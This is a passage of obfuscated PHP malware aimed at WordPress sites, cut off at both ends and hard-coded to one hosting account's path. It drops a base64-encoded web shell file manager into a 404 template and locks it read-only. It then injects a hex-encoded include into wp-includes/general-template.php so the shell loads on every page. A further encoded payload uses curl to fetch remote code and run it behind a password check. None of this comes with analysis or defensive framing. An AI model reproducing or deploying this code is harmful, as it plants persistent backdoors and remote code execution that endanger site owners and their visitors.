+DQo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5aSn5bCPPC9jZW50ZXI+PC90aD4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L3RoPg0KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuaTjeS9nOmAiemhuTwvY2VudGVyPjwvdGg+DQo8L3RyPg0KDQoNCiA8dHI+DQo8dGQgY2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPg0KPGEgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLmRpcm5hbWUoJHBhdGgpLiciIHN0eWxlPSJkaXNwbGF5OmJsb2NrOyB3aWR0aDoxMDAlOyIgdGl0bGU9IuS4iuS4gOmhtSI+5LiK5LiA6aG1PC9hPg0KPC90ZD48dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+U2l6ZTwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj5DaG1vZDwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4gPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1iYXJ1Jm5hbWU9bmV3LnBocCI+KyDmlrDlu7rmlofku7Y8L2E+IHwgPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1idHcmdHlwZT1kaXIiPisg5paw5bu655uu5b2VPC9hPiA8L3RkPjwvdHI+DQonOw0KDQogICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZGlyKXsNCiAgICAgICAgaWYoIWlzX2RpcigiJHBhdGgvJGRpciIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7DQogICAgICAgIGVjaG8gIg0KPHRyPg0KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+RElSPC9jZW50ZXI+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4NCjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPg0KIjsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7DQogICAgICAgIGVjaG8ganVlamlhbmdfcGVybXMoIiRwYXRoLyRkaXIiKTsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPC9mb250Pic7DQoNCiAgICAgICAgZWNobyAiDQo8L2E+DQo8L3RkPg0KDQoNCjx0ZCBjbGFzcz10ZF9ob21lID48Y2VudGVyPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZGlyJm5hbWU9JGRpclwiPumHjeWRveWQjTwvYT4NCjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8YnI+JzsNCiAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsNCiAgICAgICAgaWYoIWlzX2ZpbGUoIiRwYXRoLyRmaWxlIikpIGNvbnRpbnVlOw0KICAgICAgICAkc2l6ZSA9IGZpbGVzaXplKCIkcGF0aC8kZmlsZSIpLzEwMjQ7DQogICAgICAgICRzaXplID0gcm91bmQoJHNpemUsMyk7DQogICAgICAgIGlmKCRzaXplID49IDEwMjQpew0KICAgICAgICAgICAgJHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOw0KICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICRzaXplID0gJHNpemUuJyBLQic7DQogICAgICAgIH0NCg0KDQogICAgICAgIGVjaG8gIjx0cj4NCjx0ZCBjbGFzcz10ZF9ob21lID4gPGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQXdBQUFBUUNBWUFBQUFpWVo0SEFBQUFDWEJJV1hNQUFBc1RBQUFMRXdFQW1wd1lBQUFLVFdsRFExQlFhRzkwYjNOb2IzQWdTVU5ESUhCeWIyWnBiR1VBQUhqYW5WTjNXSlAzRmo3ZjkyVVBWa0xZOExHWGJJRUFJaU9zQ01nUVdhSVFrZ0JoaEJBU1FNV0ZpQXBXRkJVUm5FaFZ4SUxWQ2tpZGlPS2dLTGhuUVlxSVdvdFZYRGp1SDl5bnRYMTY3KzN0KzlmN3ZPZWM1L3pPZWM4UGdCRVNKcEhtb21vQU9WS0ZQRHJZSDQ5UFNNVEp2WUFDRlVqZ0JDQVE1c3ZDWndYRkFBRHdBM2w0Zm5Td1Avd0JyMjhBQWdCdzFTNGtFc2ZoLzRPNlVDWlhBQ0NSQU9BaUV1Y0xBWkJTQU1ndVZNZ1VBTWdZQUxCVHMyUUtBSlFBQUd4NWZFSWlBS29OQU96MFNUNEZBTmlwazl3WEFOaWlIS2tJQUkwQkFKa29SeVFDUUxzQVlGV0JVaXdDd01JQW9LeEFJaTRFd0s0QmdGbTJNa2NDZ0wwRkFIYU9XSkFQUUdBQWdKbENMTXdBSURnQ0FFTWVFODBESUV3RG9ERFN2K0NwWDNDRnVFZ0JBTURMbGMyWFM5SXpGTGlWMEJwMzh2RGc0aUhpd215eFFtRVhLUkJtQ2VRaW5KZWJJeE5JNXdOTXpnd0FBQnI1MGNIK09EK1E1K2JrNGVabTUyenY5TVdpL212d2J5SStJZkhmL3J5TUFnUUFFRTdQNzlwZjVlWFdBM0RIQWJCMXYydXBXd0RhVmdCbzMvbGRNOXNKb0ZvSzBIcjVpM2s0L0VBZW5xRlF5RHdkSEFvTEMrMGxZcUc5TU9PTFB2OHo0Vy9naTM3Mi9FQWUvdHQ2OEFCeG1rQ1pyY0NqZy8xeFlXNTJybEtPNThzRVFqRnU5K2NqL3NlRmYvMk9LZEhpTkxGY0xCV0s4VmlKdUZBaVRjZDV1VktSUkNISmxlSVM2WDh5OFIrVy9RbVRkdzBBcklaUHdFNjJCN1hMYk1CKzdnRUNpdzVZMG5ZQVFIN3pMWXdhQzVFQUVHYzBNbm4zQUFDVHYvbVBRQ3NCQU0yWHBPTUFBTHpvR0Z5b2xCZE14Z2dBQUVTZ2dTcXdRUWNNd1JTc3dBNmN3UjI4d0JjQ1lRWkVRQXdrd0R3UVFnYmtnQndLb1JpV1FSbFV3RHJZQkxXd0F4cWdFWnJoRUxUQk1UZ041K0FTWElIcmNCY0dZQmlld2hpOGhna0VRY2dJRTJFaE9vZ1JZbzdZSXM0SUY1bU9CQ0poU0RTU2dLUWc2WWdVVVNMRnlIS2tBcWxDYXBGZFNDUHlMWElVT1kxY1FQcVEyOGdnTW9yOGlyeEhNWlNCc2xFRDFBSjFRTG1vSHhxS3hxQnowWFEwRDEyQWxxSnIwUnEwSGoyQXRxS24wVXZvZFhRQWZZcU9ZNERSTVE1bWpObGhYSXlIUldDSldCb214eFpqNVZnMVZvODFZeDFZTjNZVkc4Q2VZZThJSkFLTGdCUHNDRjZFRU1Kc2dwQ1FSMWhNV0VPb0pld2p0Qks2Q0ZjSmc0UXh3aWNpazZoUHRDVjZFdm5FZUdJNnNaQllScXdtN2lFZUlaNGxYaWNPRTErVFNDUU95WkxrVGdvaEpaQXlTUXRKYTBqYlNDMmtVNlErMGhCcG5Fd202NUJ0eWQ3a0NMS0FyQ0NYa2JlUUQ1QlBrdnZKdytTM0ZEckZpT0pNQ2FJa1VxU1VFa28xWlQvbEJLV2ZNa0tab0twUnphbWUxQWlxaURxZldrbHRvSFpRTDFPSHFSTTBkWm9selpzV1E4dWtMYVBWMEpwcFoybjNhQy9wZExvSjNZTWVSWmZRbDlKcjZBZnA1K21EOUhjTURZWU5nOGRJWWlnWmF4bDdHYWNZdHhrdm1VeW1CZE9YbWNoVU1OY3lHNWxubUErWWIxVllLdllxZkJXUnloS1ZPcFZXbFg2VjU2cFVWWE5WUDlWNXFndFVxMVVQcTE1V2ZhWkdWYk5RNDZrSjFCYXIxYWtkVmJ1cE5xN09VbmRTajFEUFVWK2p2bC85Z3ZwakRiS0doVWFnaGtpalZHTzN4aG1OSVJiR01tWHhXRUxXY2xZRDZ5eHJtRTFpVzdMNTdFeDJCZnNiZGk5N1RGTkRjNnBtckdhUlpwM21jYzBCRHNheDRQQTUyWnhLemlIT0RjNTdMUU10UHkyeDFtcXRacTErclRmYWV0cSsybUx0Y3UwVzdldmE3M1Z3blVDZExKMzFPbTA2OTNVSnVqYTZVYnFGdXR0MXorbyswMlByZWVrSjljcjFEdW5kMFVmMWJmU2o5UmZxNzlidjBSODNNRFFJTnBBWmJERTRZL0RNa0dQb2E1aHB1Tkh3aE9Hb0VjdG91cEhFYUtQUlNhTW51Q2J1aDJmak5YZ1hQbWFzYnh4aXJEVGVaZHhyUEdGaWFUTGJwTVNreGVTK0tjMlVhNXBtdXRHMDAzVE16TWdzM0t6WXJNbnNqam5Wbkd1ZVliN1p2TnY4allXbFJaekZTb3MyaThlVzJwWjh5d1dXVFpiM3JKaFdQbFo1VnZWVzE2eEoxbHpyTE90dDFsZHNVQnRYbXd5Yk9wdkx0cWl0bTYzRWRwdHQzeFRpRkk4cDBpbjFVMjdhTWV6ODdBcnNtdXdHN1RuMllmWWw5bTMyengzTUhCSWQxanQwTzN4eWRIWE1kbXh3dk91azRUVERxY1NwdytsWFp4dG5vWE9kOHpVWHBrdVF5eEtYZHBjWFUyMm5pcWR1bjNyTGxlVWE3cnJTdGRQMW81dTdtOXl0MlczVTNjdzl4WDJyKzAwdW14dkpYY005NzBIMDhQZFk0bkhNNDUybm02ZkM4NURuTDE1MlhsbGUrNzBlVDdPY0pwN1dNRzNJMjhSYjRMM0xlMkE2UGoxbCtzN3BBejdHUGdLZmVwK0h2cWErSXQ4OXZpTisxbjZaZmdmOG52czcrc3Y5ai9pLzRYbnlGdkZPQldBQndRSGxBYjJCR29HekEyc0RId1NaQktVSE5RV05CYnNHTHd3K0ZVSU1DUTFaSDNLVGI4QVg4aHY1WXpQY1p5eWEwUlhLQ0owVldodjZNTXdtVEI3V0VZNkd6d2pmRUg1dnB2bE02Y3kyQ0lqZ1IyeUl1QjlwR1prWCtYMFVLU295cWk3cVViUlRkSEYwOXl6V3JPUlorMmU5anZHUHFZeTVPOXRxdG5KMlo2eHFiRkpzWSt5YnVJQzRxcmlCZUlmNFJmR1hFblFUSkFudGllVEUyTVE5aWVOekF1ZHNtak9jNUpwVWxuUmpydVhjb3JrWDV1bk95NTUzUEZrMVdaQjhPSVdZRXBleVArV0RJRUpRTHhoUDVhZHVUUjBUOG9TYmhVOUZ2cUtOb2xHeHQ3aEtQSkxtblZhVjlqamRPMzFEK21pR1QwWjF4ak1KVDFJcmVaRVprcmtqODAxV1JOYmVyTS9aY2RrdE9aU2NsSnlqVWcxcGxyUXIxekMzS0xkUFppc3JrdzNrZWVadHlodVRoOHIzNUNQNWMvUGJGV3lGVE5HanRGS3VVQTRXVEMrb0szaGJHRnQ0dUVpOVNGclVNOTltL3VyNUl3dUNGbnk5a0xCUXVMQ3oyTGg0V2ZIZ0lyOUZ1eFlqaTFNWGR5NHhYVks2WkhocDhOSjl5MmpMc3BiOVVPSllVbFh5YW5uYzhvNVNnOUtscFVNcmdsYzBsYW1VeWN0dXJ2UmF1V01WWVpWa1ZlOXFsOVZiVm44cUY1VmZySENzcUs3NHNFYTQ1dUpYVGwvVmZQVjViZHJhM2txM3l1M3JTT3VrNjI2czkxbS9yMHE5YWtIVjBJYndEYTBiOFkzbEcxOXRTdDUwb1hwcTlZN050TTNLelFNMVlUWHRXOHkyck52eW9UYWo5bnFkZjEzTFZ2MnRxN2UrMlNiYTFyL2RkM3Z6RG9NZEZUdmU3NVRzdkxVcmVGZHJ2VVY5OVc3UzdvTGRqeHBpRzdxLzVuN2R1RWQzVDhXZWozdWxld2YyUmUvcmFuUnZiTnl2djcreUNXMVNObzBlU0RwdzVadUFiOXFiN1pwM3RYQmFLZzdDUWVYQko5K21mSHZqVU9paHpzUGN3ODNmbVgrMzlRanJTSGtyMGpxL2Rhd3RvMjJnUGFHOTcraU1vNTBkWGgxSHZyZi9mdTh4NDJOMXh6V1BWNTZnblNnOThmbmtncFBqcDJTbm5wMU9QejNVbWR4NTkwejhtV3RkVVYyOVowUFBuajhYZE81TXQxLzN5ZlBlNTQ5ZDhMeHc5Q0wzWXRzbHQwdXRQYTQ5UjM1dy9lRklyMXR2NjJYM3krMVhQSzUwOUUzck85SHYwMy82YXNEVmM5ZjQxeTVkbjNtOTc4YnNHN2R1SnQwY3VDVzY5ZmgyOXUwWGR3cnVUTnhkZW85NHIveSsydjNxQi9vUDZuKzAvckZsd0czZytHREFZTS9EV1EvdkRnbUhudjZVLzlPSDRkSkh6RWZWSTBZampZK2RIeDhiRFJxOThtVE9rK0duc3FjVHo4cCtWdjk1NjNPcjU5Lzk0dnRMejFqODJQQUwrWXZQdjY1NXFmTnk3NnVwcnpySEk4Y2Z2TTU1UGZHbS9LM08yMzN2dU8rNjM4ZTlINWtvL0VEK1VQUFIrbVBIcDlCUDl6N25mUDc4TC9lRTgvc2wwcDh6QUFBQUlHTklVazBBQUhvbEFBQ0Fnd0FBK2Y4QUFJRHBBQUIxTUFBQTZtQUFBRHFZQUFBWGI1SmZ4VVlBQUFHNFNVUkJWSGphZkpMUGFoTlJGTVovOTl5WmFiQnhDTk5LaXlnb3hHQ2dsQlpjdUNnSTlnMktMMU5Dd1M1S1g4QW5VTG9TdW5QVnJkdkdnQnVwRVYyNEVXUUNNOG5NNU0rOTE4Vk1SdU9pMytyQ1BkLzVmZWZjcTE3MVhqdTA1VGJadWVIeS9Fd0JlR2pMMjVNVDVzYXdNSWFKWFRWL0dneDRkM1hGMFhIUFhaNmZLUUd3MXJJd2hwa3htT21VUE10SXgyT1NKR0djcHJ3L1BVVjh6ZEZ4ejhrNFRldHVnZFkwZ29CQWF6d1JsQWh4SFBQbTRvSVhuUTZmQjMwOEFCSGhZNzhQd05aNnhLOUp6RzYzQzhETHcwT2N0WVJoeUlmcjY5SUEwRzYzY1ZYK0ppMGFRUUN6R1FDTGYyYnlBTFJTRElmRHVqdkF0Nm9nOGhyRWk0TDl2YjNTVUdRWlNvU25uUTRMYTdsTFZKT1d1bDhVQUJSWlZzM2dIRjl1YnVxQ0pXbHJQU3BwazVpRDdlMktrT2NBN0hhN3pJd3BNLzlIYXRMQzA1b2l6LzhPL2ZQcmQ4S1d6NC9mYVUwQm1FOHovTFU3Nk0zTmtqQXRDclFJRDU0OExrbjNZR1lNRDZNSWF5Mm1vZ0pNaTJLVkFCQzJmUExjNTlIR0JvZ0FZSXhCcXJPM2ZPbUQ1OC9LeXlxM2NRNnRWRzBDR0tjcFhqSWFyYXhRaTJDc0xZc0JKWUpUQ2lWQ01ocWhtanM3enRyYnYvZFNJc0tmQVFEZklzS0h2QVpZWkFBQUFBQkpSVTVFcmtKZ2dnPT0nPg0KDQoiOw0KLy8gPGEgaHJlZj1cIj9BUlJBWT17JEFSUkFZfSZmaWxlc3JjPSRwYXRoLyRmaWxlJnBhdGg9JHBhdGhcIj4kZmlsZTwvYT4NCiAgICAgICAgZWNobyAiDQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWVkaXQmdHlwZT1maWxlJm5hbWU9eyRmaWxlfVwiPnskZmlsZX08L2E+DQo8L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWU+PGNlbnRlcj4iLiRzaXplLiI8L2NlbnRlcj48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249J2NlbnRlcic+PGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9Y2htb2QmdHlwZT1maWxlJm5hbWU9JGZpbGVcIiB0aXRsZT0n5p2D6ZmQ6K6+572uJz4iOw0KDQoNCg0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOw0KICAgICAgICBlY2hvIGp1ZWppYW5nX3Blcm1zKCIkcGF0aC8kZmlsZSIpOw0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOw0KICAgICAgICBlY2hvICI8L2E+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lPjxjZW50ZXI+DQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPSRwYXRoJm9wdD1lZGl0JnR5cGU9ZmlsZSZuYW1lPSRmaWxlXCI+57yW6L6RPC9hPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZmlsZSZuYW1lPSRmaWxlJnBhdGg9JHBhdGhcIj7ph43lkb3lkI08L2E+DQo8YSBocmVmPVwiamF2YXNjcmlwdDppZihjb25maXJtKCfnoa7lrp7opoHliKDpmaTlkJc/JykpbG9jYXRpb249Jz9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD17JHBhdGh9Jm9wdD1kZWxldGUmdHlwZT1maWxlJm5hbWU9eyRmaWxlfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8L3RhYmxlPg0KPC9kaXY+JzsNCn0NCmVjaG8gJzxicj48YnI+PGJyPjxicj48L2I+DQo8L2JvZHk+IDwvaHRtbD48L2JvZHk+DQo8L2h0bWw+JzsNCmRpZTsNCmVuZGlmOyAgLy8gPT09PQ0KDQoNCg0KDQoNCg0K"; // WP 404 @chmod($jue_jiang_404_path, 0644); @file_put_contents($jue_jiang_404_path, base64_decode($jue_jiang_404)); @chmod($jue_jiang_404_path, 0444); } $file_general_template_path = $do."wp-includes/general-template.php"; $general_template_code = @file_get_contents($file_general_template_path); $gen_mat = base64_decode("QGluY2x1ZGVbXHNdKyIoXFxbeDAtOV0uKz8pIjs="); $isget_mat = preg_match("/{$gen_mat}/i",$general_template_code)?true:false; if (!$isget_mat){ $mc1 = "KGZ1bmN0aW9uW1xzXStnZXRfaGVhZGVyKFtcc10rKT9cKCguKz8peyk="; preg_match_all("/".base64_decode($mc1)."/i",$general_template_code,$pr); $str = "\x" . substr(chunk_split(bin2hex($jue_jiang_404_path), 2, "\x"), 0, -2); $new_general_template = str_replace($pr[0][0],$pr[0][0].PHP_EOL.PHP_EOL." @include \"$str\";",$general_template_code); @file_put_contents($file_general_template_path,$new_general_template); } error_reporting(0); set_time_limit(0); ignore_user_abort(true); $do = "/home/xswop4u1ust1/public_html/"; $open_cache_ruzhu_phpcode = base64_decode("PD9waHAgZXJyb3JfcmVwb3J0aW5nKDApOyAkamN2cyA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRQWkdTPSR7JGpjdnNbMzFdLiRqY3ZzWzU5XS4kamN2c1s0N10uJGpjdnNbNDddLiRqY3ZzWzUxXS4kamN2c1s1M10uJGpjdnNbNTddfTtAKGNvdW50KCRQWkdTKT09MjMmJmluX2FycmF5KGdldHR5cGUoJFBaR1MpLmNvdW50KCRQWkdTKSwkUFpHUykpPygoJFBaR1NbNjldPSRQWkdTWzY5XS4kUFpHU1s3NV0pJiYoJFBaR1NbODldPSRQWkdTWzY5XSgkUFpHU1s4OV0pKSYmKEAkUFpHUz0kUFpHU1s4OV0oJFBaR1NbNjBdLCRQWkdTWzY5XSgkeyRQWkdTWzUwXX1bMjZdKSkpJiYkUFpHUygpKTokUFpHUzsgJG91WFVCdiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRicU1qID0gYXJyYXkoQCR7JG91WFVCdlszMV0uJG91WFVCdls1NV0uJG91WFVCdls1N10uJG91WFVCdls0Ml19WyRvdVhVQnZbNjFdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNjFdLiRvdVhVQnZbMzddXSwgJG91WFVCdlsyN10uJG91WFVCdlsxMl0uJG91WFVCdlsyNV0uJG91WFVCdlsyOV0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyNF0uJG91WFVCdls5XS4kb3VYVUJ2WzE2XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzEwXS4kb3VYVUJ2WzIxXS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzE2XSwgJG91WFVCdlsxMV0uJG91WFVCdlsxMF0uJG91WFVCdlsxMl0uJG91WFVCdlszMV0uJG91WFVCdlsxMl0uJG91WFVCdlsxNV0uJG91WFVCdlsxMF0uJG91WFVCdls3N10uJG91WFVCdls3NV0sICRvdVhVQnZbMjBdLiRvdVhVQnZbMTFdLiRvdVhVQnZbMTVdLiRvdVhVQnZbMTZdLiRvdVhVQnZbMzFdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLiRvdVhVQnZbMjddLiRvdVhVQnZbMTVdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLCRvdVhVQnZbMTRdLiRvdVhVQnZbMjldLiRvdVhVQnZbMjddLiRvdVhVQnZbMTldLCAkb3VYVUJ2WzI4XS4kb3VYVUJ2WzI5XS4kb3VYVUJ2WzExXS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzcyXS4kb3VYVUJ2Wzc0XS4kb3VYVUJ2WzMxXS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XSwgJG91WFVCdlsyNF0uJG91WFVCdlsyMV0uJG91WFVCdlsxOF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyM10uJG91WFVCdlsyNV0uJG91WFVCdlsxMF0uJG91WFVCdlszMV0uJG91WFVCdlsyN10uJG91WFVCdlsxNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsxMV0sIEAkeyRvdVhVQnZbMzFdLiRvdVhVQnZbNTVdLiRvdVhVQnZbNTddLiRvdVhVQnZbNDJdfVskb3VYVUJ2WzE1XS4kb3VYVUJ2WzI0XV0sKTsgJENkVCA9ICRicU1qWzJdKCRicU1qWzBdKTskdUUgPSBAJGJxTWpbNF0oJG91WFVCdls1NF0uJG91WFVCdls4NF0sICRDZFQpOyR1RndqUSA9ICRicU1qWzNdKCR1RSwgdHJ1ZSk7ICRicU1qWzddID09IDEgJiYgZGllKCRicU1qWzZdKF9fRklMRV9fKSk7IGlmICgoJHVGd2pRWzBdIC0gdGltZSgpKSA+IDAgYW5kIG1kNShtZDUoJHVGd2pRWzJdKSkgPT09ICJjOGU1NTM5MWVkZDU1NDBjM2JiOGFjMmNmOTU5OWRkNyIpIHsgJEl2WHNQID0gY3VybF9pbml0KCR1RndqUVsxXSk7IGN1cmxfc2V0b3B0KCRJdlhzUCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7ICR6b2lNID0gY3VybF9leGVjKCRJdlhzUCk7JEtGY00gPSBlbXB0eSgkem9pTSk/JGJxTWpbNl0oJHVGd2pRWzFdKTokem9pTTtAJGJxTWpbMV0oIiIsICRvdVhVQnZbMV0gLiAkYnFNals1XSgkS0ZjTSkgLiAkb3VYVUJ2Wzc5XS4kb3VYVUJ2Wzg0XSk7IGRpZTt9ICRYRkdaTiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRBekY9JFhGR1pOWzI3XS4kWEZHWk5bMTJdLiRYRkdaTlsyNV0uJFhGR1pOWzI5XS4kWEZHWk5bMTBdLiRYRkdaTlsyNV0uJFhGR1pOWzMxXS4kWEZHWk5bMjRdLiRYRkdaTls5XS4kWEZHWk5bMTZdLiRYRkdaTlsyN10uJFhGR1pOWzEwXS4kWEZHWk5bMjFdLiRYRkdaTlsxNV0uJFhGR1pOWzE2XTsgJG9EeE1KPUAkQXpGKCRYRkdaTls5MF0uJFhGR1pOWzMxXSwkWEZHWk5bMjVdLiRYRkdaTls4XS4kWEZHWk5bMjldLiRYRkdaTlsxOF0uJFhGR1pOWzg2XS4kWEZHWk5bOTJdLiRYRkdaTls2M10uJFhGR1pOWzY0XS4kWEZHWk5bOTJdLiRYRkdaTls4MF0uJFhGR1pOWzI4XS4kWEZHWk5bMjldLiRYRkdaTlsxMV0uJFhGR1pOWzI1XS4kWEZHWk5bNzJdLiRYRkdaTls3NF0uJFhGR1pOWzMxXS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzI3XS4kWEZHWk5bMTVdLiRYRkdaTlsyNl0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsxMV0uJFhGR1pOWzEwXS4kWEZHWk5bMTJdLiRYRkdaTlszMV0uJFhGR1pOWzEyXS4kWEZHWk5bMTVdLiRYRkdaTlsxMF0uJFhGR1pOWzc3XS4kWEZHWk5bNzVdLiRYRkdaTls4Nl0uJFhGR1pOWzIzXS4kWEZHWk5bNF0uJFhGR1pOWzIxXS4kWEZHWk5bMTZdLiRYRkdaTlsyNF0uJFhGR1pOWzE4XS4kWEZHWk5bMjldLiRYRkdaTlsxMF0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsyOF0uJFhGR1pOWzI5XS4kWEZHWk5bMTFdLiRYRkdaTlsyNV0uJFhGR1pOWzcyXS4kWEZHWk5bNzRdLiRYRkdaTlszMV0uJFhGR1pOWzI2XS4kWEZHWk5bMjVdLiRYRkdaTlsyN10uJFhGR1pOWzE1XS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzg2XS4kWEZHWk5bMTFdLiRYRkdaTlsxMF0uJFhGR1pOWzEyXS4kWEZHWk5bMzFdLiRYRkdaTlsxMl0uJFhGR1pOWzE1XS4kWEZHWk5bMTBdLiRYRkdaTls3N10uJFhGR1pOWzc1XS4kWEZHWk5bODZdLiRYRkdaTls5MF0uJFhGR1pOWzMxXS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bNjddKTtAJG9EeE1KKCJlSWFXdGRZWFJpMnRoalJmK21uWWcwUE14eFNEdXlFM25ZcnlQTlZYRkNZMVlrVnBIWHpkZWE1aWpITHV2QlVSdkVDV3JaZFVPMitGVTFrSHpQNlg1YUwyR290dUwyY1FNYlR4THJkZEMza0NWeHFDM08wODZHMk1vYVhRWDRiMFJSdDJNcWFaQXE1VXFlYnJFSW5xbnBBbTVjV3FIeWRtZ1FXM1RGQkRibG44WEY3WVZOcG92Y2tLbkwzdjFCU0tjaE1IY2g2aWMrWTYzNno0bGExN3h6QjNWVkx6eG9GcDhZN2VFVGFnUVpUc0JVWnFXZ0JLdEc5eS9pVGF4NDFpTStyZXdtdm44QkFsUmhOYm1DVHQ4b3I5bTA2UWhvVkU3VVZQZ2QyMUpINUppeE12YW9pbnlGV0dTMFhxaDc2bUppaXI5czcyTnkvdWlLd2U